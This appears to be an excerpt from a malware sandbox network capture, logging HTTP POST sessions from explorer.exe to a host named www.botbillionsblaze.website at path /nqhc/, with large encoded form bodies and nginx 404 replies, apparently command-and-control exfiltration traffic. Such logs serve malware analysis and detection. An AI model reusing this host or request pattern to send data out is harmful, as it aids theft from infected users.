Nov 21, 2022 19:24:46.583233118 CET	1897	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:24:46 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.11.20	49903	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:48.598859072 CET	1898	OUT	POST /nqhc/ HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.botbillionsblaze.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.botbillionsblaze.website/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 45 71 56 72 78 4d 52 48 4c 42 43 77 69 49 72 4a 61 6a 5a 52 28 53 52 50 57 57 52 69 32 70 75 78 35 61 56 4c 47 31 71 59 48 77 61 36 64 65 4a 64 34 75 6c 39 79 53 53 38 57 69 45 33 6a 56 59 79 52 49 63 48 7e 48 5a 30 54 62 4a 6e 6c 56 45 59 33 5a 72 61 52 50 30 73 68 38 47 34 4d 43 51 4d 43 6b 4b 33 43 44 4f 52 65 4e 46 68 43 35 57 4e 51 31 56 47 71 78 6d 67 38 6a 62 37 70 7a 6b 4f 61 47 78 30 65 36 6b 4c 5a 77 48 67 59 31 75 4b 67 79 4e 53 77 79 52 49 72 31 4c 56 7e 68 6c 37 69 6c 66 55 37 38 53 2d 64 45 63 4b 30 4a 4e 4a 4b 61 46 48 68 62 7e 66 57 66 50 56 41 59 63 76 32 4d 33 79 72 2d 6e 59 32 62 59 65 6e 39 68 35 41 4f 63 57 56 77 7a 50 46 4b 65 33 6a 6f 48 7a 46 68 6d 53 46 36 31 4d 64 71 38 32 71 62 38 33 28 33 71 6a 32 53 46 2d 32 46 37 79 43 6f 79 50 74 4c 78 76 35 55 63 79 4f 43 4a 73 65 49 35 73 47 47 7e 79 6b 67 6b 49 52 4e 77 59 66 52 54 73 76 36 39 72 4b 66 39 4a 6d 51 63 64 31 67 59 62 31 47 66 71 44 45 56 6f 32 4a 49 6f 6f 32 67 54 32 54 47 5a 28 7a 44 4f 6d 41 5a 4e 58 7a 73 47 4a 69 76 62 37 2d 47 35 69 31 55 62 50 46 53 52 46 52 32 65 41 32 67 72 51 6c 4d 67 44 56 51 79 35 50 4e 32 41 49 31 59 63 57 38 74 6c 4d 34 30 43 71 33 6c 46 73 50 6c 50 66 45 45 52 63 70 32 55 4b 74 46 71 6a 53 43 4e 51 50 65 35 35 56 43 4e 79 73 47 65 6d 46 4b 30 37 54 33 6f 6c 36 4f 7a 66 4d 70 66 75 5a 5a 71 5f 45 36 6a 31 50 45 75 62 72 76 35 33 43 59 31 71 4e 47 6a 6c 54 6d 42 42 76 65 78 39 73 4b 73 73 4e 4a 6f 45 28 6a 46 67 63 72 75 2d 38 68 4c 61 72 6c 58 7a 71 30 77 5f 50 4e 53 46 6d 4f 68 49 55 42 5a 4e 42 5a 49 2d 46 79 35 5f 45 2e 00 00 00 00 00 00 00 00 Data Ascii: r4txB=EqVrxMRHLBCwiIrJajZR(SRPWWRi2pux5aVLG1qYHwa6deJd4ul9ySS8WiE3jVYyRIcH~HZ0TbJnlVEY3ZraRP0sh8G4MCQMCkK3CDOReNFhC5WNQ1VGqxmg8jb7pzkOaGx0e6kLZwHgY1uKgyNSwyRIr1LV~hl7ilfU78S-dEcK0JNJKaFHhb~fWfPVAYcv2M3yr-nY2bYen9h5AOcWVwzPFKe3joHzFhmSF61Mdq82qb83(3qj2SF-2F7yCoyPtLxv5UcyOCJseI5sGG~ykgkIRNwYfRTsv69rKf9JmQcd1gYb1GfqDEVo2JIoo2gT2TGZ(zDOmAZNXzsGJivb7-G5i1UbPFSRFR2eA2grQlMgDVQy5PN2AI1YcW8tlM40Cq3lFsPlPfEERcp2UKtFqjSCNQPe55VCNysGemFK07T3ol6OzfMpfuZZq_E6j1PEubrv53CY1qNGjlTmBBvex9sKssNJoE(jFgcru-8hLarlXzq0w_PNSFmOhIUBZNBZI-Fy5_E.
Nov 21, 2022 19:24:48.626638889 CET	1899	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:24:48 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.11.20	49904	2.57.90.16	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 21, 2022 19:24:50.646812916 CET	1905	OUT	POST /nqhc/ HTTP/1.1 Host: www.botbillionsblaze.website Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.botbillionsblaze.website User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.botbillionsblaze.website/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 72 34 74 78 42 3d 45 71 56 72 78 4d 52 48 4c 42 43 77 69 49 72 4a 61 6a 5a 52 28 53 52 50 57 57 52 69 32 70 75 78 35 61 56 4c 47 31 71 59 48 77 53 36 64 70 4a 64 71 50 6c 39 7a 53 53 38 56 69 45 32 6a 56 5a 67 52 49 6b 39 7e 48 46 65 54 5a 78 6e 6c 45 55 59 30 76 28 61 55 50 30 74 69 38 47 41 64 53 51 59 43 6b 32 72 43 44 61 65 65 39 42 68 54 4f 36 4e 42 55 55 51 79 78 6d 75 38 6a 62 6e 28 44 6c 74 61 47 31 6b 65 36 34 4c 5a 79 7a 67 61 48 6d 4b 73 46 68 53 71 53 52 58 67 56 4c 61 30 42 6c 65 69 68 28 71 37 38 53 49 64 46 6f 4b 30 4c 56 4a 4c 5a 64 45 68 37 7e 66 49 76 50 53 45 59 52 6b 32 4d 62 55 72 2d 37 59 32 5a 6f 65 6c 64 68 35 56 66 63 52 57 51 79 45 42 4b 65 6b 6e 6f 44 37 46 68 61 47 46 34 35 4d 64 36 6f 32 77 4b 38 33 38 56 4f 6a 7e 53 46 38 79 46 37 74 55 59 7a 51 74 4c 42 7a 35 56 39 50 4f 46 4a 73 59 6f 5a 73 51 55 47 78 6a 41 6b 4b 64 74 77 42 4a 68 66 6f 76 2d 5a 38 4b 66 39 6a 6d 55 6b 64 31 52 6f 62 30 48 66 74 41 55 56 56 76 5a 49 48 6d 57 6c 53 32 54 61 52 28 79 37 65 6d 43 31 4e 56 54 73 47 66 52 47 4e 69 65 47 2d 36 46 55 4a 51 56 54 52 46 52 72 39 41 33 6b 52 58 52 45 67 41 46 41 79 7e 66 4e 31 43 6f 30 52 57 32 38 52 30 63 34 30 43 71 36 42 46 70 58 6c 4f 74 55 45 52 72 74 32 52 5a 56 46 73 6a 54 4a 4e 51 4f 61 35 35 52 48 4e 79 6c 52 65 6d 5a 77 30 34 28 33 70 77 6d 4f 30 65 4d 75 62 65 5a 51 75 5f 46 69 75 56 44 70 75 62 6e 64 35 33 54 76 79 5a 5a 47 69 6c 44 6d 46 42 76 66 37 39 73 4e 36 38 4e 62 28 55 44 4a 46 67 42 63 75 5f 35 2d 4c 59 37 6c 58 53 4b 76 67 75 66 71 4d 31 32 5a 6a 4d 55 43 52 4c 5a 46 61 72 70 73 6e 5a 71 7a 68 33 44 42 5a 74 33 55 78 59 67 55 31 62 69 6e 4c 44 4a 41 71 54 6b 56 72 6b 76 55 35 5f 4a 55 79 4d 6e 38 63 76 76 4e 57 31 74 4d 56 48 46 41 61 37 70 75 74 55 77 4f 64 53 66 45 59 5a 47 67 35 43 6c 69 68 30 51 7a 28 56 32 75 36 39 67 58 42 32 7e 43 4a 6e 63 4b 32 5a 61 70 4c 76 32 47 33 79 61 67 61 6f 69 77 33 47 6e 44 62 39 34 75 30 69 4c 53 54 63 6f 56 74 41 6f 72 62 70 44 73 46 64 6f 6a 41 73 46 66 42 75 6d 33 41 48 71 73 7e 48 57 50 77 52 44 6e 28 6f 35 56 49 62 35 30 47 7a 56 70 43 5f 5a 5a 75 4f 6e 77 42 50 43 2d 28 47 7a 62 54 2d 48 37 59 35 75 32 48 4f 72 6e 56 62 69 77 4d 43 4b 4b 28 7a 78 30 54 76 78 75 48 78 38 42 31 38 49 32 47 6b 4c 35 70 70 72 4f 77 38 4d 58 31 39 6c 4c 76 48 68 44 79 6b 4a 6a 59 52 46 71 6a 43 69 6a 46 66 79 45 57 66 73 38 55 69 59 50 43 32 58 66 68 57 50 37 6c 37 50 32 44 5a 30 69 75 46 4f 39 36 78 35 41 48 5f 69 75 76 52 77 65 79 36 4f 56 54 32 57 78 67 70 65 58 50 79 51 46 4c 31 36 68 7a 55 4a 31 50 77 67 71 48 41 6b 53 6b 44 6f 63 71 64 7a 65 55 45 36 79 42 66 77 68 33 78 79 70 57 39 7e 75 45 39 76 49 35 43 67 4d 6d 6c 6d 33 70 65 41 59 46 78 33 4c 45 72 39 49 73 49 78 2d 4f 4b 51 7a 38 55 78 72 56 30 4b 49 5a 4a 55 31 7e 2d 45 7a 28 6a 68 5f 78 70 4b 4b 59 7a 63 39 72 6e 63 77 46 4d 6c 77 39 37 63 62 35 4e 61 66 6c 47 43 73 70 64 53 73 38 72 69 39 70 62 46 43 46 4b 6c 36 6a 57 4c 79 50 35 55 4b 39 69 72 31 6e 6d 6a 4c 36 41 58 45 4c 6b 4b 56 62 39 75 6d 51 37 7e 34 67 57 6a 52 65 69 47 39 59 39 47 6e 31 2d 6b 36 36 56 42 41 34 36 30 35 77 30 51 5f 54 5f 73 6a 51 2d 4a 37 4c 67 30 49 79 76 6f 57 6b 57 5a 45 30 53 64 51 38 71 69 4e 55 74 30 75 53 78 68 4d 35 45 33 70 61 30 28 32 45 6a 36 65 41 58 71 57 59 4c 53 48 77 43 31 4d 33 46 58 7a 61 6c 6b 79 49 56 77 44 79 51 64 35 56 64 62 46 65 68 59 5a 45 53 77 2d 6b 66 52 46 75 62 28 55 46 7a 7a 36 76 54 31 62 7e 77 6d 31 35 6d 4d 33 7a 4d 68 64 65 72 63 72 31 70 6e 4e 7e 44 78 43 39 57 59 5a 49 4b 43 34 37 6a 71 56 68 66 30 51 48 4d 53 51 4e 73 5a 63 75 49 62 6e 67 57 54 38 55 51 6d 2d 32 45 6f 6c 43 58 44 59 6d 48 48 35 6d 6d 65 4c 62 32 31 73 4a 59 39 65 70 35 58 6d 54 37 46 79 4e 4f 7a 30 74 64 28 66 6e 56 4e 61 42 79 6a 46 75 70 76 4c 42 6e 79 4d 41 67 6c 30 71 2d 34 74 70 30 66 6e 73 65 6a 77 34 6d 6c 33 44 42 7e 42 51 4b 72 47 62 46 37 53 4f 65 64 34 4f 30 79 4d 76 65 48 4e 45 6f 54 78 4f 35 53 55 6c 49 6f 51 48 66 66 57 45 47 4f 71 46 50 68 67 76 65 4e 66 77 47 4b 41 66 6b 42 53 39 47 7a 47 6c 49 4f 53 64 66 31 45 50 4e 6a 71 69 30 43 5a 64 34 44 54 77 4f 59 53 52 65 64 7a 4e Data Ascii: r4txB=EqVrxMRHLBCwiIrJajZR(SRPWWRi2pux5aVLG1qYHwS6dpJdqPl9zSS8ViE2jVZgRIk9~HFeTZxnlEUY0v(aUP0ti8GAdSQYCk2rCDaee9BhTO6NBUUQyxmu8jbn(DltaG1ke64LZyzgaHmKsFhSqSRXgVLa0Bleih(q78SIdFoK0LVJLZdEh7~fIvPSEYRk2MbUr-7Y2Zoeldh5VfcRWQyEBKeknoD7FhaGF45Md6o2wK838VOj~SF8yF7tUYzQtLBz5V9POFJsYoZsQUGxjAkKdtwBJhfov-Z8Kf9jmUkd1Rob0HftAUVVvZIHmWlS2TaR(y7emC1NVTsGfRGNieG-6FUJQVTRFRr9A3kRXREgAFAy~fN1Co0RW28R0c40Cq6BFpXlOtUERrt2RZVFsjTJNQOa55RHNylRemZw04(3pwmO0eMubeZQu_FiuVDpubnd53TvyZZGilDmFBvf79sN68Nb(UDJFgBcu_5-LY7lXSKvgufqM12ZjMUCRLZFarpsnZqzh3DBZt3UxYgU1binLDJAqTkVrkvU5_JUyMn8cvvNW1tMVHFAa7putUwOdSfEYZGg5Clih0Qz(V2u69gXB2~CJncK2ZapLv2G3yagaoiw3GnDb94u0iLSTcoVtAorbpDsFdojAsFfBum3AHqs~HWPwRDn(o5VIb50GzVpC_ZZuOnwBPC-(GzbT-H7Y5u2HOrnVbiwMCKK(zx0TvxuHx8B18I2GkL5pprOw8MX19lLvHhDykJjYRFqjCijFfyEWfs8UiYPC2XfhWP7l7P2DZ0iuFO96x5AH_iuvRwey6OVT2WxgpeXPyQFL16hzUJ1PwgqHAkSkDocqdzeUE6yBfwh3xypW9~uE9vI5CgMmlm3peAYFx3LEr9IsIx-OKQz8UxrV0KIZJU1~-Ez(jh_xpKKYzc9rncwFMlw97cb5NaflGCspdSs8ri9pbFCFKl6jWLyP5UK9ir1nmjL6AXELkKVb9umQ7~4gWjReiG9Y9Gn1-k66VBA4605w0Q_T_sjQ-J7Lg0IyvoWkWZE0SdQ8qiNUt0uSxhM5E3pa0(2Ej6eAXqWYLSHwC1M3FXzalkyIVwDyQd5VdbFehYZESw-kfRFub(UFzz6vT1b~wm15mM3zMhdercr1pnN~DxC9WYZIKC47jqVhf0QHMSQNsZcuIbngWT8UQm-2EolCXDYmHH5mmeLb21sJY9ep5XmT7FyNOz0td(fnVNaByjFupvLBnyMAgl0q-4tp0fnsejw4ml3DB~BQKrGbF7SOed4O0yMveHNEoTxO5SUlIoQHffWEGOqFPhgveNfwGKAfkBS9GzGlIOSdf1EPNjqi0CZd4DTwOYSRedzNyPYuX3yaUp47ZNEA6gr6N7siB5noOsCYuA89QGkKJMJ3cA3p4uPkEr0oxj3JzQxaRY3jR7QQa0sB988ShXtp1ESKZGNJQAJaqRgpZ4d~KyizngnQS6VBY38zzrj41dOcAm2b31w9eLqfTidFc0eCrDi(QRINHLPfYgI7V83jwv01JEFEz049oNl86vUIghru8Vd1_y5OidPLdb3Po(R6uUniDwZH1aHJrTT1r3y6pJjx5tUYyu-H8sM4l(hccCP~orQ(Dmpm_RG3uqwSA~aDIeNBtI-zfsSWNCjaY8nhe8TbWS1R1bMb7NKl4hZBfkBKmp8i1JPyiKNEoJNq-lzezgNsC8oIgY1psPJmZHgYXH7QA5FkYW5ymKvleLMFCvprsBgwldGEP60Se3F0rIjDBASQbQz5ya8jo9V4y15FQbBEgUyuAlWGV3LncPjlBOQtFbWFxtMpkaruvmwP220i0~ad3tOagMYnuQPWJX49DC12nlyosFM4lfVrrGIrjzqi-uGJ7yH350Q9OQP4EXLoIOaO9i6r9qweZqZUdqVzlPxZ_MkaPXFjDct39AuRfL2vcjONNQ_qxhmrGujAbJpSx~hBwKqz4sXXo3cEsZ0VBy9yX7t9QFRiL(oI_RzjNKClhzOhVS-oJ82LXu6kRzcdPGhY2jS1N~yV9MZNyfIfP9ji-l_JgjySu5v1ArUe-MHHur5CNdIXTmhWymRq7KS8x17fFh4OxbJS1D1ytJ-xpQJ4puP8o8bIk(YGblOrHd-bvyKhwEL2mGR4_Ejvvec~xflDQm_G2w2DRExWeyfTYydTqo9B026xnmbJCqVq-~IqrLpyC0y(OJbncZ7oIJ6E6rKACh1LoF_42SrAahv9YH6PUwhKMcmSHktV_oWto217JJV13oc21M7PTzFWbacrEafagypWfi84yl70oMm7sGpdDFV5lrMYhs4Sd3rg4o4arH_ry84dMIjr55zvw43ut4ZKmP_rIfkiK4QHfQCwTXLx9YI(ke_UMlghr(-qwowXaMUxXPN3jyqCcD4uUWO33nZ7fx9bhOCMZ30JbLERc7Rf3SdEN5JY89MxRChv3detFxbzb(VFVLr27RDLmou(a67TEoUs4K2ZVTxCr1PyeQzuGFuFaD1wP5ad6JOyHq4Tus6KhFyWlYQWIHyozssZsPnYPgk5WL9b18yV1skNqRcJxT5Ex3hHwXwbXZmXKgVMpJv0k(6PVs9uelbbpXg7DNXon0Z92Ea9ZDNdjU-ur4WHcbht8u6aQXNZosF1im782CPcYEDbe2zYUAmBc8qDkbP0q0v6VypcRDL~FGV76y4wXEckVYF6ArIhmVpCNDUNAdxfyruF5tFF1~8jfj67URcX0TweO7cyAyPIUPEZJGCLSpn(A1PzyMJ~WtPERwsVNVMX9vaS2RfQYOUgDf_Kkj1(WwGGBW0b3ftlLCV6T8BoFUUdDiyUdL0HJiAh9MhohG0du0uXYV4IkNF9GqPQmP02EzCIOd8RrVE(oWnKsYNv7ngXVLhugT-2Xd2yMRvUAaYtvtlBBTVpGlOYySzkTWGplgle4XEk3U11DzW(PiNHN7jCW5XZIYmx4x4sbMzGnW5tCzOJAiS~5nh(JnFrnx2Ox1mRw9Hwb0WSC2pWadHSe1Lv9OooDqgnPpNdKELq7W1q_cBF8beAf4v(37ZTAmalA09sAul1Mha6V0CjiNPjIa2HdAJMds9ipQ0uEPgnPz25eBZhNJCXGKZcUGcoDUYRSLOwt68tBkXmCQ9nczM2DhG0UfqRmvDU9lxk6JohKaIzhh4tQc1Jzt1Ul2_ZtMF7maFCI1-vYAy4r(JEGmfjIwkyWm5anCR5H10wpk-qAjcnheFCOnd0lNHBSzsnN5IM4zxawDeABt-Lqsh8dgJ2JRg9ur76n4jOAhWSvyfv5oaPU5qoE0LAvM575AFHgHOfISxpYhJGad5AM2mvXwUl0ozmhzhSQWblke9ParlsVDZxLXUlA6vOyFm4QaRgPt8sH1IJn1FXMhz8rX_8QpRTRbpFes2qMhkAQ3HINS-sWlh2qLIs2dmziX86eQE(uu-a-7XmeHSmEUn9sccvdCw4n1ccbiNfScVBxKxKE(HoqzNrWEQM347q_m6~Qg_pa05oQa5u0y2jLGXtb6fP6jQOUL9zxt2dzTeFFVCZw5TyX8fJ3pVtPBNsGQu8YZlUKmmjhbljMgJU5SEtwkSvunGl9b3uH1T6qnyWChbA9hx59NQcVIZ5SL5K-F-49xSetATqOK7RL9FkDyh8pOH4KlZjoz4M1DkbmFMieWy2s7erxNbShpBtEg_vMBWWUKWIPsCUd~m2Rmh2C6Z5Dpbllqyku5hKozw4W~7tao-DTOXayF2BmdDAcANH6VImalsTuzyZjRHjvR0wAoxKe7KKXh742ZorDfpXGl7oOMn7nHGWqyOVhAyvl8FTFmdyFXpwOxBVQaDklhw86jH(GPtb3DjBgZeA_puDdo9~R5XZFkXAJDRgkj2ZmkZX51TiP7RQG1mEhU6yBUfsX7LSDI8MVWMjst57SUnsUaAxDTgDLx8Bv~qw1V_~yFKCNAUgjSIHxx8os5ZqIZVUOZbpl(fc3fiNOXuF1gOMHevEYY-(C0aKeg5pcViZJ7q9ghGlXYDxWtYynNAgY7B8ahA9pGbs7p79K~Zbg5ykENQ5z4_VMCp4FrzmRb_wOIqUXgTX5Al4BGWayVHoYLt~WTT
Nov 21, 2022 19:24:50.646903038 CET	1912	OUT	Data Raw: 30 44 65 51 50 59 62 4a 59 59 6d 66 44 6b 39 61 78 57 43 2d 71 65 67 41 35 4a 4b 58 35 4a 59 38 6c 53 70 32 6f 45 65 42 49 6b 6d 56 7e 4f 46 34 28 6c 6e 51 46 66 63 56 71 5a 6e 36 54 74 53 53 43 6f 75 75 42 74 59 37 44 35 47 61 41 6f 55 48 31 6d Data Ascii: 0DeQPYbJYYmfDk9axWC-qegA5JKX5JY8lSp2oEeBIkmV~OF4(lnQFfcVqZn6TtSSCouuBtY7D5GaAoUH1ms0C423D3P70IuMWadszTFHdBTx0K~fuD1Axb2L6mUaa1pLdEkGF01yWdxlilYIIQh2GmGvwXooxBcig_~9VWT25n~xwAKoCjZ4tWXVFcUquxt4F8rNcTLK~9lrWi(_YbBQITwaEz1BaB1p2wMZWRPFJP9FpvwfAu0
Nov 21, 2022 19:24:50.675672054 CET	1912	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 21 Nov 2022 18:24:50 GMT Content-Type: text/html Content-Length: 146 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Nov 21, 2022 19:24:50.675820112 CET	1915	OUT	Data Raw: 66 51 44 70 53 51 68 79 4e 51 5a 37 71 44 66 39 55 76 66 34 57 62 46 55 34 68 39 6c 52 38 54 55 73 41 34 39 7a 78 6e 4c 78 50 43 6a 37 69 47 54 59 70 77 43 4c 48 31 52 6b 39 72 4d 6e 41 37 61 34 36 79 4f 42 34 4c 46 51 4c 42 75 36 4f 70 66 48 72 Data Ascii: fQDpSQhyNQZ7qDf9Uvf4WbFU4h9lR8TUsA49zxnLxPCj7iGTYpwCLH1Rk9rMnA7a46yOB4LFQLBu6OpfHroWILrGldM3y2LxFOhYjNfczvxtm9(wh6X838KKkhFnUynxIIjWKyYr5w19W7CkxzHBHPq_WQh7OBzfGs3GZTGDOK2iUzHRylxAHifkLpr1Qk3TKu2SfhAJy8hU4Ul69yPe0p1Ex-3oUKtjUBUsZy4DDlJaSd2Pv9T
Nov 21, 2022 19:24:50.675894022 CET	1916	OUT	Data Raw: 75 62 41 49 4c 6b 68 6a 74 4e 45 4f 74 62 71 49 58 6a 30 76 28 76 46 4f 6b 39 39 72 72 50 78 47 38 54 46 32 41 50 47 79 52 57 34 30 78 5f 42 2d 78 66 39 67 34 32 4f 35 5a 48 45 6b 54 52 51 6b 6d 67 50 4a 32 36 46 6b 32 6a 72 77 55 69 68 47 6e 6b Data Ascii: ubAILkhjtNEOtbqIXj0v(vFOk99rrPxG8TF2APGyRW40x_B-xf9g42O5ZHEkTRQkmgPJ26Fk2jrwUihGnknZejQdiLQ-1Octd6BLSkuGjS8DHf3hYLEup9mLCnAOqOq7IvsB2So1Awf5BJ2RvQEhxthSHkZnKZkhIiF9fQQrr9FTq8htu7Mr5pSyjxd0QoaDJAULPdmHKr24NnGj5MGajKPJhP3VCHWWEENA7oeD7sP8R5Em560
Nov 21, 2022 19:24:50.675944090 CET	1920	OUT	Data Raw: 4b 45 79 4f 44 6f 4e 36 44 52 6e 70 77 47 31 4b 4f 4a 7a 35 45 6d 52 6a 6c 74 61 47 32 58 6f 49 7a 4b 61 59 71 47 44 71 66 71 74 6b 4b 6b 33 5f 59 47 69 55 69 47 53 58 38 50 42 6f 46 73 66 52 28 47 6c 4a 4b 71 51 71 5a 77 7e 45 76 47 58 46 62 65 Data Ascii: KEyODoN6DRnpwG1KOJz5EmRjltaG2XoIzKaYqGDqfqtkKk3_YGiUiGSX8PBoFsfR(GlJKqQqZw~EvGXFbeujgQWkASPnStRWipX6O4(_r7wM7xKEVmepwwo_ZpvKJfBpcbVuYUqbmDAALaUkfXD7MIyl1QoHcB1TxFTuPXo2MRvCPPY2szF_lbmLL6GCQ6KDU-8tcxQBZ0EmZ6wgwi9wO-LSsSWeF8mdUS7Z5KyuhCLKo2l-2ZU
Nov 21, 2022 19:24:50.676291943 CET	1924	OUT	Data Raw: 33 75 68 45 71 47 5a 39 61 55 5a 4b 6e 67 52 4e 6a 6d 7e 69 54 30 75 6b 42 6f 33 46 50 41 52 6f 68 41 6e 6b 7a 68 41 38 55 6e 38 30 34 64 57 4c 55 50 62 54 39 70 47 6f 79 5f 38 37 52 56 7e 50 79 69 44 53 37 49 74 75 43 6e 38 38 71 6e 47 59 6d 32 Data Ascii: 3uhEqGZ9aUZKngRNjm~iT0ukBo3FPARohAnkzhA8Un804dWLUPbT9pGoy_87RV~PyiDS7ItuCn88qnGYm2lRXR9nfrqVHEqNl6sOCnlSSNN8x_mnbEyHP0Ow2Hw84-yXnAEZQIkCd7DPP1ZaeZSg7tTz8DIRMG6b2pg4XmlUARS-Ynr37RvnElAXczCTASL3RL6kkjni5xNkNYeT~_1_18v2I203ltAvNa3ewnu6yG5UyyoIcR1
Nov 21, 2022 19:24:50.676459074 CET	1930	OUT	Data Raw: 58 35 42 62 7a 4c 56 7a 53 45 61 42 42 56 50 51 56 53 65 69 32 41 61 72 4f 2d 4d 33 28 77 54 74 45 6e 53 7a 38 46 28 61 61 5a 30 46 6b 59 68 33 50 5f 59 69 6f 68 37 69 44 43 41 59 4f 30 44 56 6c 39 58 48 57 75 63 48 63 4c 66 38 54 2d 53 30 4a 5f Data Ascii: X5BbzLVzSEaBBVPQVSei2AarO-M3(wTtEnSz8F(aaZ0FkYh3P_Yioh7iDCAYO0DVl9XHWucHcLf8T-S0J_(N~qy82bv0ZXC8uaV3bxpPdELDCc36QtFGZ8rFIHBnTylsqLRqtWHnh5edD7jMbfUCs3CfTpHCq804dWoIsPVYzLeJTOUdwEqfjh2wmM0zcG7WBQIhPu2GkR5NnYLjxtC5F9zuWduSklcdkA3QtEslK6dpUakfFch
Nov 21, 2022 19:24:50.676625967 CET	1935	OUT	Data Raw: 7a 74 6e 46 48 41 36 42 74 52 76 48 74 65 30 5a 6d 65 4f 79 64 52 62 4e 39 41 51 78 42 59 4c 43 49 78 73 74 67 7a 46 39 5a 74 39 59 76 64 53 78 59 2d 37 33 4d 77 57 67 28 46 61 55 36 4a 42 38 70 67 6d 53 56 34 6c 64 32 30 71 71 61 39 6f 61 64 59 Data Ascii: ztnFHA6BtRvHte0ZmeOydRbN9AQxBYLCIxstgzF9Zt9YvdSxY-73MwWg(FaU6JB8pgmSV4ld20qqa9oadY(2Ohzq(c4LxtTIOeBQSqEE9Za2u5P3aQJLsU5GS2h4ZKp_Bg18pNGvd6Q9d6pk7N0G77sw46CUFNgcvyfTyW(3gXcUg8GsYm91YNRhE2bMsbVveCd6xgNVgMXrd-5yrOZCFztKNtcJkd1miUg09UTB6sDj(LfswNu
Nov 21, 2022 19:24:50.704874039 CET	1942	OUT	Data Raw: 72 6c 74 33 59 78 63 35 62 39 72 6d 4b 61 69 57 62 31 47 67 73 58 78 71 4b 54 34 4e 71 74 49 70 71 4a 4b 6c 28 75 71 50 31 51 78 5a 49 77 46 64 6a 61 5a 43 28 34 71 31 32 53 65 53 6b 57 56 33 78 4a 72 47 35 64 59 35 6e 44 4b 62 5a 74 64 65 54 64 Data Ascii: rlt3Yxc5b9rmKaiWb1GgsXxqKT4NqtIpqJKl(uqP1QxZIwFdjaZC(4q12SeSkWV3xJrG5dY5nDKbZtdeTd(Of9AuDOApsN(RofWXyhrVTvPHw4se(Jblp5ABrV(FcI(zJA6oQvK271X-iBjCziqCWvOwpB2urlZPBhuuP9ghmKjBr80awDGwS78hcdOqTRs9C3eJykbor4evWrYsymMgubQu3dX5r0mwVPE1hZ8M~y8xhkqxKza
